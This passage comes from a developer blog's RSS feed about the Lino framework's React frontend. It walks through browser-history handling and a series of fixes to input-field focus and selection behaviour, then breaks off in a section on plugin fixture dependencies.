    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pathname&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="n"&gt;URLContext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;URLContext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filled&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rs&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;URLContext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;history&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;has&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rs&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
            &lt;span class="n"&gt;URLContext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;history&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;load&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="n"&gt;rs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lazy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="n"&gt;URLContext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;history&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pushPath&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
            &lt;span class="n"&gt;pathname&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;pathname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lazy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;URLContext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;newSlug&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;navigate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;URLContext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;makePath&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;pathname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;}),&lt;/span&gt;
            &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
        &lt;span class="n"&gt;URLContext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;history&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pushPath&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
            &lt;span class="n"&gt;pathname&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;pathname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lazy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Here is what I learned from it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;The &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;App.interceptBrowserBF()&lt;/span&gt;&lt;/code&gt; method is our handler of the
&lt;a class="reference external" href="https://developer.mozilla.org/en-US/docs/Web/API/Window/popstate_event"&gt;window.popstate&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;this.ex.queryString&lt;/span&gt;&lt;/code&gt; refers to the &lt;a class="reference external" href="https://www.npmjs.com/package/query-string"&gt;query-string&lt;/a&gt; module. The &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;this.ex&lt;/span&gt;&lt;/code&gt; tells
me that it has been loaded dynamically using the &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;ImportPoolRegistry&lt;/span&gt;&lt;/code&gt;.
As expected it parses the URL string into a JS object.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;I wonder whether there is a difference between saying &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;const&lt;/span&gt; &lt;span class="pre"&gt;{&lt;/span&gt; &lt;span class="pre"&gt;URLContext&lt;/span&gt; &lt;span class="pre"&gt;}&lt;/span&gt; &lt;span class="pre"&gt;=&lt;/span&gt;
&lt;span class="pre"&gt;this;&lt;/span&gt;&lt;/code&gt; and &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;const&lt;/span&gt; &lt;span class="pre"&gt;URLContext&lt;/span&gt; &lt;span class="pre"&gt;=&lt;/span&gt; &lt;span class="pre"&gt;this.URLContext;&lt;/span&gt;&lt;/code&gt;. It’s one of these funny
Javascript magics…&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Anyway, what is &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;URLContext&lt;/span&gt;&lt;/code&gt;? It is used so often in the Lino React frontend
but still a quite unknown beast to me. It has been initialized during
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;App.prepare()&lt;/span&gt;&lt;/code&gt; using the following expression:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;URLContext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;new&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Where &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;nc&lt;/span&gt;&lt;/code&gt; refers to the &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;NavigationControl&lt;/span&gt;&lt;/code&gt; module.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;My summary so far: our &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;interceptBrowserBF()&lt;/span&gt;&lt;/code&gt; method does some magic to
avoid loading a new page when it’s not necessary. It searches the browser
history for the current “random string” (the string stored in the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;rs&lt;/span&gt;&lt;/code&gt; URL
parameter) and jumps back when possible. And the bug was that this mechanism
didn’t test for the case of an empty &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;rs&lt;/span&gt;&lt;/code&gt;. I have the feeling that this
mechanism is quite magical and fragile. But my feeling isn’t very founded.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0211.html</guid><pubDate>Tue, 11 Feb 2025 00:00:00 +0000</pubDate></item><item><title>Monday, February 10, 2025</title><link>https://luc.lino-framework.org/blog/2025/0210.html</link><description>&lt;section id="monday-february-10-2025"&gt;
&lt;h1&gt;Monday, February 10, 2025&lt;a class="headerlink" href="#monday-february-10-2025" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="more-bugs-in-leafcomponentinput-focus"&gt;
&lt;h2&gt;More bugs in LeafComponentInput.focus()&lt;a class="headerlink" href="#more-bugs-in-leafcomponentinput-focus" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I stumbled into &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5919"&gt;#5919&lt;/a&gt; (Cannot change the ticket number of a session in
WorkedHours). This is obviously yet another side effect of &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5893"&gt;#5893&lt;/a&gt; (The
grid cell editor should start by selecting all its content).&lt;/p&gt;
&lt;p&gt;We can see it on Jane. Click on the Ticket cell of some existing session. More
precisely it starts editing, correctly selects the whole content of the field,
but then it never lets me enter more than one character because after every
character it selects the whole thing again. This is the same problem as I saw
for password fields.&lt;/p&gt;
&lt;p&gt;I had a look at the two changes.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;202505202 : Fixed &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5893"&gt;#5893&lt;/a&gt; (The grid cell editor should start by
selecting all its content) with commit &lt;a class="reference external" href="https://gitlab.com/lino-framework/react/-/commit/3f6d577dc9dea3b9db8abd3e28be9453621117f5"&gt;3f6d577d&lt;/a&gt;
(“optimize for: #5893 (The grid cell editor should start by selecting all its
content)”)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;20250207 : Fixed &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5915"&gt;#5915&lt;/a&gt; (Cannot manually enter a password) with commit
&lt;a class="reference external" href="https://gitlab.com/lino-framework/react/-/commit/4c7a10242b64586afcef8333cd9850990d62618b"&gt;4c7a1024&lt;/a&gt;
(“allow input.select only in grid cell(s)”)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here is the &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;LeafComponentInput.focus()&lt;/span&gt;&lt;/code&gt; method before and after these
changes.&lt;/p&gt;
&lt;p&gt;Before:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;focus&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;let&lt;/span&gt; &lt;span class="n"&gt;ref&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inputEl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;focus&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;focus&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;focusInput&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;focusInput&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;focus&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inputRef&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inputRef&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;current&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;focus&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;First change (Fixed &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5893"&gt;#5893&lt;/a&gt; (The grid cell editor should start by
selecting all its content)):&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;focus&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;let&lt;/span&gt; &lt;span class="n"&gt;ref&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inputEl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;input&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;focusInput&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;ref&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;focusInput&lt;/span&gt;
  &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inputRef&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;ref&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inputRef&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;current&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;focus&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;focus&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
      &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hasOwnProperty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;select&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;select&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;container&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;input&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;container&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getElementsByTagName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;input&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
      &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;input&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;input&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;select&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Second change (Fixed &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5915"&gt;#5915&lt;/a&gt; (Cannot manually enter a password)):&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;focus&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;let&lt;/span&gt; &lt;span class="n"&gt;ref&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inputEl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;input&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;focusInput&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;ref&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;focusInput&lt;/span&gt;
  &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inputRef&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;ref&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inputRef&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;current&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;focus&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;focus&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
      &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;props&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;constants&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;URL_PARAM_WINDOW_TYPE&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="n"&gt;constants&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;WINDOW_TYPE_TABLE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hasOwnProperty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;select&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;select&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
          &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;container&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;input&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;container&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getElementsByTagName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;input&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
          &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;input&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;input&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;select&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;LeafComponentInput&lt;/span&gt;&lt;/code&gt; is the base class for all input fields. It is
defined in &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;LinoComponentUtils.jsx&lt;/span&gt;&lt;/code&gt; where it  inherits from
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;LeafComponentBase&lt;/span&gt;&lt;/code&gt; and has itself a subclass
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;LeafComponentInputChoices&lt;/span&gt;&lt;/code&gt;. It is subclassed by all input fields,
including AutoComplete, DTFieldElement, TextFieldElement,
ChoiceListFieldElement, ChoicesFieldElement, etc.&lt;/p&gt;
&lt;p&gt;OMG! What are the meanings of the attributes &lt;cite&gt;inputEl&lt;/cite&gt;, &lt;cite&gt;focusInput&lt;/cite&gt; and
&lt;cite&gt;inputRef&lt;/cite&gt;?  I started to read &lt;a class="reference external" href="https://coreui.io/blog/how-to-set-focus-on-an-input-field-after-rendering-in-react/"&gt;How to set focus on an input field after
rendering in React&lt;/a&gt;.
Trying to understand these things would require me several man days!  I am glad
to have Sharif!&lt;/p&gt;
&lt;p&gt;But if you ask me, the second change, making it depend on the window type, is
bullshit. I think you can safely undo this change. It just disables the new
behaviour when we aren’t in a grid. This condition is unrelated. We want Lino to
select the content of a field, including password fields, each time the field
gets focus, also in an action dialog, also in a detail form. One exception: we
do &lt;em&gt;not&lt;/em&gt; want this in a TextField field.&lt;/p&gt;
&lt;p&gt;The problem after the first change was that it selects the whole thing again
after each keyboard stroke. It seems that the &lt;cite&gt;focus&lt;/cite&gt; event is called again when
selection changes.&lt;/p&gt;
&lt;p&gt;But here I stop. Sharif, I hope that my thoughts helped you to continue.&lt;/p&gt;
&lt;p&gt;P.S. : Sharifs answer is here: Commit &lt;a class="reference external" href="https://gitlab.com/lino-framework/react/-/commit/f979de77f7519913a39fc579a528bb82639e11ef"&gt;f979de77&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="about-plugin-dependency"&gt;
&lt;h2&gt;About plugin dependency&lt;a class="headerlink" href="#about-plugin-dependency" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;For &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5916"&gt;#5916&lt;/a&gt; I had to (wanted to) put a text “Screenshot : [file 12]” into
the description of some tickets.&lt;/p&gt;
&lt;p&gt;These demo tickets get generated by the &lt;cite&gt;demo&lt;/cite&gt; fixture of the &lt;cite&gt;noi&lt;/cite&gt; plugin.&lt;/p&gt;
&lt;p&gt;Adding references to screenshots in the description of tickets requires these
tickets to exist already.&lt;/p&gt;
&lt;p&gt;The demo screenshots get created in the &lt;cite&gt;demo&lt;/cite&gt; fixtures of &lt;cite&gt;uploads&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;So I said that the &lt;cite&gt;noi&lt;/cite&gt; demo should load after the &lt;cite&gt;uploads&lt;/cite&gt; demo.&lt;/p&gt;
&lt;p&gt;For this I changed the &lt;cite&gt;lino_noi.lib.tickets&lt;/cite&gt; and &lt;cite&gt;lino_noi.lib.cal&lt;/cite&gt; plugins to
